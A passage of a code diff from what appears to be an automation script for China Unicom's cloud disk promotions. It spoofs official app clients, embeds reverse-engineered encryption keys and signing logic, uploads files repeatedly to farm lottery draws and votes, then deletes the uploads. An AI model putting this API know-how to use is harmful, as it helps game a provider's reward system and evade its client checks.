0) if current_task else start_finished + stage_status = "已完成本阶段" if current_finished >= target_stage else "未完成本阶段" + self.log(f"云盘任务: ✅ [{tName}] 上传完成 {upload_ok}/{max_upload_times} 次,{stage_status}", notify=True) + else: + self.run_generic_cloud_task(tCode, tName) + + def query_all_files_cloud(self, space_type="0", parent_directory_id="0", page_num=0, page_size=500): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return {} + res = self.request_wohome_dispatcher_cloud("QueryAllFiles", { + "clientId": "1001000035", + "spaceType": str(space_type), + "sortRule": "0", + "parentDirectoryId": str(parent_directory_id), + "pageNum": str(page_num), + "pageSize": int(page_size), + }, timeout=15) + rsp = res.get('RSP', {}) + if str(rsp.get('RSP_CODE')) != '0000' or not rsp.get('DATA'): + return {} + try: + key_padded = token.ljust(16)[:16] + cipher = AES.new(key_padded.encode(), AES.MODE_CBC, b"wNSOYIB1k1DjY5lA") + plain = unpad(cipher.decrypt(base64.b64decode(rsp['DATA'])), AES.block_size, style="pkcs7").decode('utf-8', errors='ignore') + return json.loads(plain) + except Exception as e: + self.log(f"云盘任务: 查询根目录文件失败: {e}") + return {} + + def request_wohome_dispatcher_cloud(self, key, param, timeout=15, client_id="1001000035"): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return {} + timestamp = str(int(time.time() * 1000)) + req_seq = str(random.randint(10000, 99999)) + payload = { + "header": { + "key": key, + "resTime": timestamp, + "reqSeq": req_seq, + "channel": "wohome", + "version": "", + "sign": hashlib.md5(f"{key}{timestamp}{req_seq}wohome".encode()).hexdigest().upper(), + }, + "body": { + "param": self.encrypt_data_cloud(json.dumps(param, ensure_ascii=False, separators=(',', ':')), token), + "secret": True, + }, + } + headers = { + 'User-Agent': 'LianTongYunPan/5.1.2 (Android 10)', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'Access-Token': token, + 'accesstoken': token, + 'Client-Id': str(client_id), + } + try: + return self.session.post(self.cloudDiskUrls['ltypDispatcher'], json=payload, headers=headers, timeout=timeout).json() + except Exception as e: + self.log(f"云盘任务: [{key}] 请求失败: {e}") + return {} + + def list_upload_named_files_cloud(self, max_pages=4): + upload_name = self.get_cloud_upload_name_cloud().strip() + if not upload_name: + return [] + pattern = re.compile(rf"^{re.escape(upload_name)}(?:\(\d+\))?(?:\.[^.]+)?$") + matched = [] + seen = set() + page_num = 0 + while page_num < max_pages: + data = self.query_all_files_cloud("0", "0", page_num, 500) + page_files = data.get('files') or [] + if not page_files: + break + for item in page_files: + file_id = item.get('id') + file_name = str(item.get('name', '')).strip() + if file_id and file_id not in seen and pattern.match(file_name): + seen.add(file_id) + matched.append(item) + if len(page_files) < 500: + break + page_num += 1 + return matched + + def delete_root_files_cloud(self, items, space_type="0"): + targets = [] + for item in items or []: + item_id = str(item.get('id', '')).strip() + if not item_id: + continue + targets.append((item_id, str(item.get('type', '1')) == '0')) + deleted = 0 + for offset in range(0, len(targets), 100): + batch = targets[offset:offset + 100] + dir_list = [item_id for item_id, is_dir in batch if is_dir] + file_list = [item_id for item_id, is_dir in batch if not is_dir] + if not dir_list and not file_list: + continue + res = self.request_wohome_dispatcher_cloud("DeleteFile", { + "spaceType": str(space_type), + "vipLevel": "0", + "dirList": dir_list, + "fileList": file_list, + "clientId": "1001000035", + }, timeout=20) + rsp = res.get('RSP', {}) + batch_idx = offset // 100 + 1 + if str(rsp.get('RSP_CODE')) == '0000': + deleted += len(batch) + self.log(f"云盘任务: 第{batch_idx}批根目录删除成功,共{len(batch)}个文件") + else: + self.log(f"云盘任务: 第{batch_idx}批根目录删除失败: {rsp.get('RSP_DESC') or res}") + time.sleep(1) + return deleted + + def clean_duplicate_files_cloud(self): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return + self.log("云盘任务: 开始清理云盘重复文件") + cloud_headers = { + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/5.1.0 (iPhone; iOS 16.6)", + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'Accept-Encoding': 'br;q=1.0, gzip;q=0.9, deflate;q=0.8', + 'Access-Token': token, 'X-YP-Access-Token': token, + 'Client-Id': '1001000035', 'X-YP-Client-Id': '1001000035', + 'App-Version': 'yp-app/5.1.0', 'app-type': 'liantongyunpanapp', + 'Sys-Version': 'iOS/16.6', + } + uploaded_count = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0) + retry_count = 6 if uploaded_count > 0 else 1 + task_id = "" + file_ids = [] + for attempt in range(1, retry_count + 1): + try: + res = self.session.post( + self.cloudDiskUrls['getScanState'], json={ + "pathLevelList": [{"levelType": "space", "levelName": "个人云", "busId": "0"}] + }, headers=cloud_headers, timeout=10, + ).json() + except Exception as e: + self.log(f"云盘任务: 获取扫描状态失败: {e}") + return + if res.get('meta', {}).get('code') != '200': + self.log("云盘任务: 获取扫描状态失败") + return + task_id = "" + for item in res.get('result', {}).get('subTaskList', []): + if item.get('taskId'): + task_id = item['taskId'] + break + if task_id: + file_ids = [] + page = max_page = 1 + while page <= max_page: + try: + page_res = self.session.post( + self.cloudDiskUrls['getCleanData'], json={ + "pageNum": page, "taskId": task_id, "type": 3, "pageSize": 50, + }, headers=cloud_headers, timeout=10, + ).json() + except Exception as e: + self.log(f"云盘任务: 获取第{page}页清理数据失败: {e}") + return + if page_res.get('meta', {}).get('code') != '200': + break + max_page = page_res.get('result', {}).get('maxPageNum', 1) + for group in page_res.get('result', {}).get('fileGroupList', []): + for fi, file_item in enumerate(group.get('fileList', [])): + if fi <= 0 or not file_item.get('fileId'): + continue + file_ids.append({"fileId": file_item['fileId'], "spaceType": file_item.get('spaceType', '0')}) + page += 1 + if file_ids: + self.log(f"云盘任务: 第{attempt}次重复扫描完成,共{len(file_ids)}个重复文件") + break + if attempt < retry_count: + wait_seconds = min(5 + (attempt - 1) * 2, 12) + self.log(f"云盘任务: 第{attempt}次重复扫描未发现可清理文件,{wait_seconds}秒后重试") + time.sleep(wait_seconds) + if not file_ids: + named_files = self.list_upload_named_files_cloud() if uploaded_count > 0 else [] + if named_files: + preview = "、".join(item.get('name', '') for item in named_files[:6]).strip("、") + more = "..." if len(named_files) > 6 else "" + self.log(f"云盘任务: 智能清理未识别到重复项,但根目录检测到{len(named_files)}个[{self.get_cloud_upload_name_cloud()}]系列文件: {preview}{more}") + deleted = self.delete_root_files_cloud(named_files) + self.cloudDisk.uploadedFileCount = 0 + if deleted: + self.log(f"云盘任务: 已通过官方删除接口清理{deleted}个[{self.get_cloud_upload_name_cloud()}]系列文件") + else: + self.log(f"云盘任务: [{self.get_cloud_upload_name_cloud()}]系列文件删除失败") + else: + self.cloudDisk.uploadedFileCount = 0 + self.log("云盘任务: 无重复文件") + return + for offset in range(0, len(file_ids), 100): + batch = file_ids[offset:offset + 100] + batch_idx = offset // 100 + 1 + try: + batch_res = self.session.post( + self.cloudDiskUrls['batchClean'], json={ + "fileList": batch, "taskType": 3, "taskId": task_id, + }, headers=cloud_headers, timeout=30, + ).json() + code = batch_res.get('meta', {}).get('code') + self.log(f"云盘任务: 第{batch_idx}批清理: {'成功' if code == '200' else '失败'}") + except Exception as e: + self.log(f"云盘任务: 第{batch_idx}批清理失败: {e}") + time.sleep(2) + named_files = self.list_upload_named_files_cloud() if uploaded_count > 0 else [] + if named_files: + preview = "、".join(item.get('name', '') for item in named_files[:6]).strip("、") + more = "..." if len(named_files) > 6 else "" + self.log(f"云盘任务: 智能清理后根目录仍检测到{len(named_files)}个[{self.get_cloud_upload_name_cloud()}]系列文件: {preview}{more}") + deleted = self.delete_root_files_cloud(named_files) + if deleted: + self.log(f"云盘任务: 已通过官方删除接口补充清理{deleted}个[{self.get_cloud_upload_name_cloud()}]系列文件") + self.cloudDisk.uploadedFileCount = 0 + self.log("云盘任务: 云盘重复文件清理完成") + + def vote_cloud(self): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return + ypid_list = getattr(self.cloudDisk, 'ypid_list', []) + if not ypid_list: + return + headers = { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/4.0.2 (iPhone; iOS 16.6)", + 'Sec-Fetch-Mode': 'cors', + 'clientId': '1001000165', + 'Origin': 'https://panservice.mail.wo.cn', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Site': 'same-origin', + 'X-YP-Access-Token': token, 'token': token, + 'X-YP-Client-Id': '1001000165', + 'X-SH-Access-Token': '', + 'source-type': 'woapi', + } + for idx in range(3): + try: + self.session.post( + self.cloudDiskUrls['vote'], json={"activityId": "MjQ=", "id": random.choice(ypid_list)}, + headers=headers, timeout=10, + ) + self.log(f"云盘任务: 第{idx + 1}次投票") + except Exception as e: + self.log(f"云盘任务: 第{idx + 1}次投票失败: {e}") + time.sleep(1) + + def build_cloud_lottery_headers(self): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return {} + return { + 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)", + 'Accept': 'application/json, text/plain, */*', + 'source-type': 'woapi', + 'Sec-Fetch-Site': 'same-origin', + 'clientId': '1001000165', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'token': token, + 'X-SH-Access-Token': '', + 'Sec-Fetch-Mode': 'cors', + 'X-YP-Access-Token': token, + 'X-YP-Client-Id': '1001000165', + 'X-Requested-With': 'com.chinaunicom.bol.cloudapp', + 'X-YP-GRAY-FLAG': 'undefined', + 'Sec-Fetch-Dest': 'empty', + } + + def build_cloud_hometown_headers(self, extra=None): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return {} + headers = { + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/5.1.0 (iPhone; iOS 16.6)", + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'source-type': 'woapi', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'clientId': '1001000165', + 'X-YP-Client-Id': '1001000165', + 'X-YP-Access-Token': token, + 'token': token, + 'X-SH-Access-Token': '', + 'X-YP-GRAY-FLAG': 'undefined', + 'requestTime': str(int(time.time() * 1000)), + } + if extra: + headers.update(extra) + return headers + + def build_cloud_activity_headers(self, activity_id=""): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return {} + headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)", + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'source-type': 'woapi', + 'clientId': '1001000165', + 'client-Id': '1001000165', + 'token': token, + 'accessToken': token, + 'access-token': token, + 'X-YP-Access-Token': token, + 'X-YP-Client-Id': '1001000165', + 'X-SH-Access-Token': '', + 'X-Requested-With': 'com.chinaunicom.bol.cloudapp', + 'X-YP-GRAY-FLAG': 'undefined', + 'Origin': 'https://panservice.mail.wo.cn', + } + if activity_id: + point_ticket = getattr(self.cloudDisk, 'ticket', '') + mobile = getattr(self, 'account_mobile', '') or getattr(self, 'mobile', '') + if activity_id == 'MjU=' and point_ticket and mobile: + headers['Referer'] = ( + "https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive" + "?touchpoint=300200030001&type=06" + f"&ticket={point_ticket}" + "&version=iphone_c%4012.0801" + f"×tamp={int(time.time() * 1000)}" + f"&desmobile={mobile}" + "&num=0&postage=01addda9786dc7eb5ca0eacd9acd664a" + f"&activityId={quote(activity_id)}&clientid=1001000003" + f"&userNumber={mobile}" + ) + else: + headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive?touchpoint=300300010005&activityId={quote(activity_id)}&token={token}" + return headers + + def get_cloud_lottery_draw_count(self, times_res): + result = times_res.get('result') + if isinstance(result, int): + return result + if not isinstance(result, dict): + return 0 + draw_count = result.get('times') + if draw_count is None: + for key in ['lotteryTimes', 'freeTimes', 'drawTimes', 'count']: + if key in result: + draw_count = result.get(key) + break + try: + return int(draw_count or 0) + except: + return 0 + + def query_cloud_phone_location_cloud(self): + province_code = str(getattr(self.cloudDisk, 'hometownProvinceCode', '') or '') + province_name = str(getattr(self.cloudDisk, 'hometownProvinceName', '') or '') + if province_code and province_name: + return province_code, province_name + token = getattr(self.cloudDisk, 'userToken', '') + mobile = getattr(self, 'account_mobile', '') or getattr(self, 'mobile', '') + headers = self.build_cloud_hometown_headers({"X-SH-Access-Token": ""}) + if not token or not mobile or not headers: + return "", "" + try: + res = self.session.post( + self.cloudDiskUrls['queryPhoneLocation'], + json={"mobile": self.encrypt_data_cloud(mobile, "CBWGjFHjZdhTf7h8")}, + headers=headers, + timeout=10, + ).json() + if str(res.get('meta', {}).get('code')) == '200': + result = res.get('result') or {} + province_code = str(result.get('provinceCode') or '') + province_name = str(result.get('provinceName') or '') + if province_code and province_name: + self.cloudDisk.hometownProvinceCode = province_code + self.cloudDisk.hometownProvinceName = province_name + self.log(f"家乡打卡 - 归属地: {province_name}({province_code})") + return province_code, province_name + self.log(f"云盘任务: 查询号码归属地失败: {res}") + except Exception as e: + self.log(f"云盘任务: 查询号码归属地异常: {e}") + return "", "" + + def get_cloud_activity_province(self): + province_code = str(getattr(self.cloudDisk, 'hometownProvinceCode', '') or '') + province_name = str(getattr(self.cloudDisk, 'hometownProvinceName', '') or '') + if province_code and province_name: + return province_code, province_name + province_code, province_name = self.query_cloud_phone_location_cloud() + if province_code and province_name: + return province_code, province_name + if (not hasattr(self, 'city_info')) or (not self.city_info): + self.get_city_info() + if not isinstance(getattr(self, 'city_info', None), list) or not self.city_info: + return "", "" + city = self.city_info[0] if isinstance(self.city_info[0], dict) else {} + province_code = str(city.get('proCode') or city.get('standardProvinceCode') or "").lstrip('0') + province_name = str(city.get('proName') or city.get('provinceName') or "") + if province_code and province_name: + self.cloudDisk.hometownProvinceCode = province_code + self.cloudDisk.hometownProvinceName = province_name + return province_code, province_name + + def query_cloud_lottery_times_cloud(self, activity_id, headers=None): + if not activity_id: + return None + use_headers = dict(headers or self.build_cloud_lottery_headers()) + if not use_headers: + return None + use_headers['requestTime'] = str(int(time.time() * 1000)) + res = self.session.get(self.cloudDiskUrls['lottery_times'], params={"activityId": activity_id}, headers=use_headers, timeout=10).json() + self.cloudDisk.lotteryTimesResult = res + return res + + def ensure_cloud_lottery_activity_open_cloud(self, activity_id): + headers = self.build_cloud_activity_headers(activity_id) + if not headers: + return False + try: + check_headers = dict(headers) + check_headers['requestTime'] = str(int(time.time() * 1000)) + check_res = self.session.get(self.cloudDiskUrls['checkActivityStatus'], params={"activityId": activity_id}, headers=check_headers, timeout=10).json() + if str(check_res.get('meta', {}).get('code')) == '200' and str(check_res.get('result', {}).get('state')) == '1': + if activity_id == 'MjU=': + self.log("家乡打卡 - 开启结果:开启成功") + return True + except Exception as e: + self.log(f"云盘任务: 查询抽奖活动开启状态失败: {e}") + province_code, province_name = self.get_cloud_activity_province() + if not province_code or not province_name: + self.log("云盘任务: 开启抽奖活动失败,缺少省份信息") + return False + try: + open_headers = dict(headers) + open_headers['requestTime'] = str(int(time.time() * 1000)) + res = self.session.post( + self.cloudDiskUrls['openActivity'], + json={"activityId": activity_id, "provinceCode": province_code, "provinceName": province_name}, + headers=open_headers, + timeout=10, + ).json() + if str(res.get('meta', {}).get('code')) == '200' and str(res.get('result', {}).get('state')) == '1': + if activity_id == 'MjU=': + self.log("家乡打卡 - 开启结果:开启成功") + else: + self.log(f"云盘任务: 抽奖活动[{activity_id}] 已开启") + return True + if activity_id == 'MjU=': + message = res.get('msg') or res.get('meta', {}).get('message') or '开启失败' + self.log(f"家乡打卡 - 开启结果:{message}") + else: + self.log(f"云盘任务: 开启抽奖活动失败: {res}") + except Exception as e: + self.log(f"云盘任务: 开启抽奖活动异常: {e}") + return False + + def query_cloud_lottery_record_cloud(self, activity_id): + if not activity_id: + return None + headers = self.build_cloud_hometown_headers() if activity_id == 'MjU=' else self.build_cloud_lottery_headers() + if not headers: + return None + try: + response = self.session.get( + f"https://panservice.mail.wo.cn/activity/lottery/recordList?activityId={quote(activity_id)}", + headers=headers, + timeout=10, + ) + result = response.json() if response.status_code == 200 else None + if not isinstance(result, dict): + return None + if str(result.get('meta', {}).get('code')) == '200': + record_list = result.get('result') or [] + prize = record_list[0].get('prizeName', '暂无抽奖记录') if record_list else '暂无抽奖记录' + if activity_id == 'MjU=': + self.log(f"家乡打卡 - 上次抽奖:{prize}") + return prize + except Exception as e: + self.log(f"云盘任务: 查询抽奖记录异常: {e}") + return None + + def do_activity_upload_cloud(self, activity_id): + token = getattr(self.cloudDisk, 'userToken', '') + upload_path = self.get_cloud_upload_file_path() + if not token or not upload_path: + return False + file_size = os.path.getsize(upload_path) + file_name = self.get_cloud_upload_name_cloud() + file_info = self.encrypt_data_cloud(json.dumps({ + "batchNo": datetime.now().strftime("%Y%m%d%H%M%S"), + "fileName": file_name, + "fileSize": file_size, + "fileType": 1, + "directoryId": "0", + "spaceType": "0", + }, ensure_ascii=False, separators=(',', ':')), token) + headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)", + 'Accept': '*/*', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Origin': 'https://panservice.mail.wo.cn', + 'Referer': f"https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive?touchpoint=300300010005&activityId={quote(activity_id)}&token={token}", + 'X-Requested-With': 'com.chinaunicom.bol.cloudapp', + 'accessToken': token, + 'access-token': token, + 'client_id': '1001000165', + 'X-YP-GRAY-FLAG': 'undefined', + 'requestTime': str(int(time.time() * 1000)), + } + try: + if activity_id == 'MjU=': + self.log("开始家乡打卡文件上传...") + with open(upload_path, 'rb') as file_obj: + files = { + "uniqueId": (None, f"{int(time.time() * 1000)}_{random.random()}"), + "accessToken": (None, token), + "psToken": (None, "undefined"), + "totalPart": (None, "1"), + "partSize": (None, str(file_size)), + "partIndex": (None, "1"), + "channel": (None, "wocloud"), + "directoryId": (None, "0"), + "fileName": (None, file_name), + "fileSize": (None, str(file_size)), + "fileInfo": (None, file_info), + "file": (file_name, file_obj, "image/jpeg"), + } + res = self.request_direct("POST", self.cloudDiskUrls['activityUpload2C'], headers=headers, files=files, timeout=UNICOM_CLOUD_UPLOAD_TIMEOUT) + res_json = {} + try: + res_json = res.json() + except: + pass + code = str(res_json.get('code', '')) + meta_code = str(res_json.get('meta', {}).get('code', '')) + if res.status_code == 200 and (code in ('200', '0', '0000') or meta_code in ('200', '0', '0000')): + self.cloudDisk.uploadedFileCount = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0) + 1 + if activity_id == 'MjU=': + self.log("家乡打卡 - 上传成功") + else: + self.log("云盘任务: 活动上传成功,正在刷新抽奖次数...") + return True + if activity_id == 'MjU=': + self.log(f"家乡打卡 - 上传失败: HTTP {res.status_code}") + else: + self.log(f"云盘任务: 活动上传失败: HTTP {res.status_code} {res_json if res_json else res.text[:200]}") + except Exception as e: + if activity_id == 'MjU=': + self.log(f"家乡打卡 - 上传异常: {e}") + else: + self.log(f"云盘任务: 活动上传异常: {e}") + return False + + def wait_cloud_lottery_times_cloud(self, activity_id, wait_seconds=8): + headers = self.build_cloud_lottery_headers() + if not headers: + return None + for _ in range(wait_seconds): + time.sleep(1) + try: + res = self.query_cloud_lottery_times_cloud(activity_id, headers) + if isinstance(res, dict) and str(res.get('meta', {}).get('code')) == '200' and self.get_cloud_lottery_draw_count(res) > 0: + return res + except Exception: + pass + return getattr(self.cloudDisk, 'lotteryTimesResult', None) + + def get_cloud_lottery_activity_id_cloud(self): + if getattr(self.cloudDisk, 'lotteryActivityId', None): + return self.cloudDisk.lotteryActivityId + headers = self.build_cloud_lottery_headers() + if not headers: + return None + custom_id = os.environ.get("UNICOM_CLOUD_LOTTERY_ACTIVITY_ID", "").strip() + activity_id = custom_id or "MjU=" + try: + check_headers = dict(headers) + check_headers['requestTime'] = str(int(time.time() * 1000)) + res = self.session.get(self.cloudDiskUrls['lottery_times'], params={"activityId": activity_id}, headers=check_headers, timeout=10).json() + meta_code = str(res.get('meta', {}).get('code')) + if meta_code in ('200', '90003603'): + self.cloudDisk.lotteryActivityId = activity_id + self.cloudDisk.lotteryTimesResult = res + self.log("云盘任务: 开始执行抽奖活动") + return activity_id + self.log(f"云盘任务: 抽奖活动[{activity_id}] 无效: {res}") + except Exception as e: + self.log(f"云盘任务: 查询抽奖活动[{activity_id}]失败: {e}") + return None + + def draw_lottery_cloud(self): + headers = self.build_cloud_lottery_headers() + if not headers: + return + activity_id = self.get_cloud_lottery_activity_id_cloud() + if not activity_id: + self.log("云盘任务: 未找到有效抽奖活动") + return + try: + times_res = getattr(self.cloudDisk, 'lotteryTimesResult', None) + if not isinstance(times_res, dict): + times_res = self.query_cloud_lottery_times_cloud(activity_id, headers) + times_code = str(times_res.get('meta', {}).get('code')) + draw_count = self.get_cloud_lottery_draw_count(times_res) if times_code == '200' else 0 + if times_code == '90003603' or draw_count <= 0: + if self.ensure_cloud_lottery_activity_open_cloud(activity_id) and self.do_activity_upload_cloud(activity_id): + refreshed = self.wait_cloud_lottery_times_cloud(activity_id) + if isinstance(refreshed, dict): + times_res = refreshed + times_code = str(times_res.get('meta', {}).get('code')) + draw_count = self.get_cloud_lottery_draw_count(times_res) if times_code == '200' else 0 + if activity_id == 'MjU=': + self.query_cloud_lottery_record_cloud(activity_id) + if times_code == '90003603': + if activity_id == 'MjU=': + self.log("家乡打卡 - 抽奖失败:没有抽奖机会") + else: + self.log(f"云盘任务: 抽奖活动[{activity_id}] 活动上传后仍未获得抽奖次数") + return + if times_code != '200': + self.log(f"云盘任务: 查询抽奖次数失败: {times_res}") + return + if draw_count <= 0: + if activity_id == 'MjU=': + self.log("家乡打卡 - 抽奖失败:没有抽奖机会") + else: + self.log(f"云盘任务: 抽奖活动[{activity_id}] 当前无抽奖次数") + return + for _ in range(draw_count): + draw_headers = dict(headers) + draw_headers['requestTime'] = str(int(time.time() * 1000)) + res = self.session.post(self.cloudDiskUrls['lottery'], json={"activityId": activity_id}, headers=draw_headers, timeout=10).json() + if res.get('meta', {}).get('code') == '92000017': + self.log("云盘任务: 转盘已抽奖") + return + if 'result' in res: + if activity_id == 'MjU=': + self.log(f"家乡打卡 - 抽奖结果:{res['result'].get('prizeName', '')}", notify=True) + else: + self.log(f"云盘任务: 转盘获得: {res['result'].get('prizeName', '')}", notify=True) + continue + self.log(f"云盘任务: 抽奖无结果: {res}") + except Exception as e: + self.log(f"云盘任务: 抽奖失败: {e}") + + def get_secret_key_cloud(self): + if getattr(self.cloudDisk, 'secretKey', None): + return self.cloudDisk.secretKey + if not getattr(self.cloudDisk, 'userticket', None) or not getattr(self.cloudDisk, 'jeaId', None): + return None + headers = { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/4.0.2 (iPhone; iOS 16.6)", + 'Accept-Encoding': 'gzip, deflate, br', + 'Connection': 'keep-alive', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Origin': 'https://m.jf.10010.com', + 'Host': 'm.jf.10010.com', + 'clienttype': 'yunpan_iOS', + 'partnersid': '1649', + 'ticket': self.cloudDisk.userticket, + 'Cookie': f"_jea_id={self.cloudDisk.jeaId};", + } + try: + res = self.session.get(self.cloudDiskUrls['secretKey'], headers=headers, timeout=10).json() + secret = res.get('data', {}).get('secretKey') + if res.get('code') == '0000' and secret: + self.cloudDisk.secretKey = secret.encode('utf-8') + self.log("云盘任务: secretKey 获取成功") + return self.cloudDisk.secretKey + self.log(f"云盘任务: getSecretKey 失败: {res}") + except Exception as e: + self.log(f"云盘任务: getSecretKey 异常: {e}") + return None + + def build_signature_headers_cloud(self): + secret_key = self.get_secret_key_cloud() + if not secret_key: + return {} + request_ts = str(round(time.time() * 1000)) + nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8)) + signature = hmac.new( + secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256, + ).hexdigest() + return { + 'x-request-timestamp': request_ts, + 'x-request-nonce': nonce, + 'x-request-signature': signature, + } + + def run_generic_cloud_task(self, task_code, task_name): + self.log(f"云盘任务: [{task_name}] 尝试通用完成接口") + self.toFinish_cloud(task_code, task_name, False) + time.sleep(2) + self.handle_unknown_task_cloud(task_code, task_name) + time.sleep(3) + self.finalize_generic_task_cloud(task_code, task_name) + + def handle_unknown_task_cloud(self, task_code, task_name=""): + token = getattr(self.cloudDisk, 'userToken', '') + if not token: + return False + headers = { + 'User-Agent': 'LianTongYunPan/5.0.4 (iOS 16.3)', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'Accept-Encoding': 'br;q=1.0, gzip;q=0.9, deflate;q=0.8', + 'Access-Token': token, 'X-YP-Access-Token': token, + 'Client-Id': '1001000035', 'X-YP-Client-Id': '1001000035', + 'App-Version': 'yp-app/5.0.4', 'app-type': 'liantongyunpanapp', + 'Sys-Version': 'iOS/16.3', + 'Accept-Language': 'zh-Hans-CN;q=1.0', + } + prefix = f"云盘任务: [{task_name}]" if task_name else "云盘任务: 未知任务" + try: + res = self.session.post( + self.cloudDiskUrls['taskFinish'], + json={"taskCode": task_code, "taskStatus": {"isBackUp": "1"}}, + headers=headers, + timeout=10, + ).json() + meta_code = str(res.get('meta', {}).get('code')) + if meta_code == '90003600': + self.log(f"{prefix} 处理完成") + return True + if meta_code in ('200', '0') or str(res.get('code')) in ('200', '0', '0000'): + self.log(f"{prefix} 处理完成: {res.get('msg', res.get('meta', {}).get('message', '成功'))}") + return True + self.log(f"{prefix} 处理失败: {res}") + except Exception as e: + self.log(f"云盘任务: [{task_name or task_code}] 处理失败: {e}") + return False + + def ltyp_task(self, is_query_only=False): + self.log("==== 联通云盘任务 ====") + self.init_cloud_urls() + class CloudDiskState: pass + self.cloudDisk = CloudDiskState() + if not self.ecs_token: + self.log("云盘任务: 缺少 ecs_token,跳过。") + return + ticket = self.getTicketByNative_cloud() + if not ticket: return + if not hasattr(self, 'city_info') or not self.city_info: + self.get_city_info() + token = self.get_ltypDispatcher_cloud(ticket) + if not token: return + time.sleep(0.5) + self.get_userInfo_cloud() + self.init_cloud_task_records_state() + if is_query_only: + self.log("云盘任务: [查询模式] 跳过任务执行...") + self.get_userInfo_cloud() + return + time.sleep(0.5) + self.get_secret_key_cloud() + self.get_taskDetail_cloud() + time.sleep(0.5) + self.get_userInfo_cloud() + time.sleep(2) + self.draw_lottery_cloud() + time.sleep(2) + self.clean_duplicate_files_cloud() + + def getTicketByNative_sec(self): + for attempt in range(1, 4): + try: + url = f"https://m.client.10010.com/edop_ng/getTicketByNative?token={self.ecs_token}&appId=edop_unicom_3a6cc75a" + city_code = "" + cookie_str = f"PvSessionId={datetime.now().strftime('%Y%m%d%H%M%S')}{self.unicomTokenId};c_mobile={self.account_mobile}; c_version=iphone_c@11.0800; city=036|{city_code}|90063345|-99;devicedId={self.unicomTokenId}; ecs_token={self.ecs_token};t3_token=" + headers = { + "Cookie": cookie_str, + "Accept": "*/*", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "Accept-Language": "zh-Hans-CN;q=1.0" + } + res = self.session.get(url, headers=headers, timeout=10) + if res.status_code != 200: + self.log(f"安全管家: getTicketByNative_sec http请求失败 {res.status_code}") + return + try: + result = res.json() + except: + self.log(f"安全管家: getTicketByNative_sec json解析失败: {res.text[:100]}") + return + self.sec_ticket1 = result.get('ticket') + if self.sec_ticket1: + return + else: + self.log(f"安全管家: getTicketByNative_sec 失败 - {result}") + except Exception as e: + err_msg = str(e) + if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg): + self.log(f"安全管家: getTicketByNative_sec 第{attempt}次异常触发故障转移: {err_msg}") + self.failover_proxy() + continue + self.log(f"安全管家: getTicketByNative_sec 第{attempt}次重试 - 异常: {e}") + time.sleep(2) + + def getAuthToken_sec(self): + if not getattr(self, 'sec_ticket1', None): + self.log("安全管家 getAuthToken_sec 缺少 ticket1,跳过") + return + try: + url = "https://uca.wo116114.com/api/v1/auth/ticket?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a" + headers = { + "User-Agent": 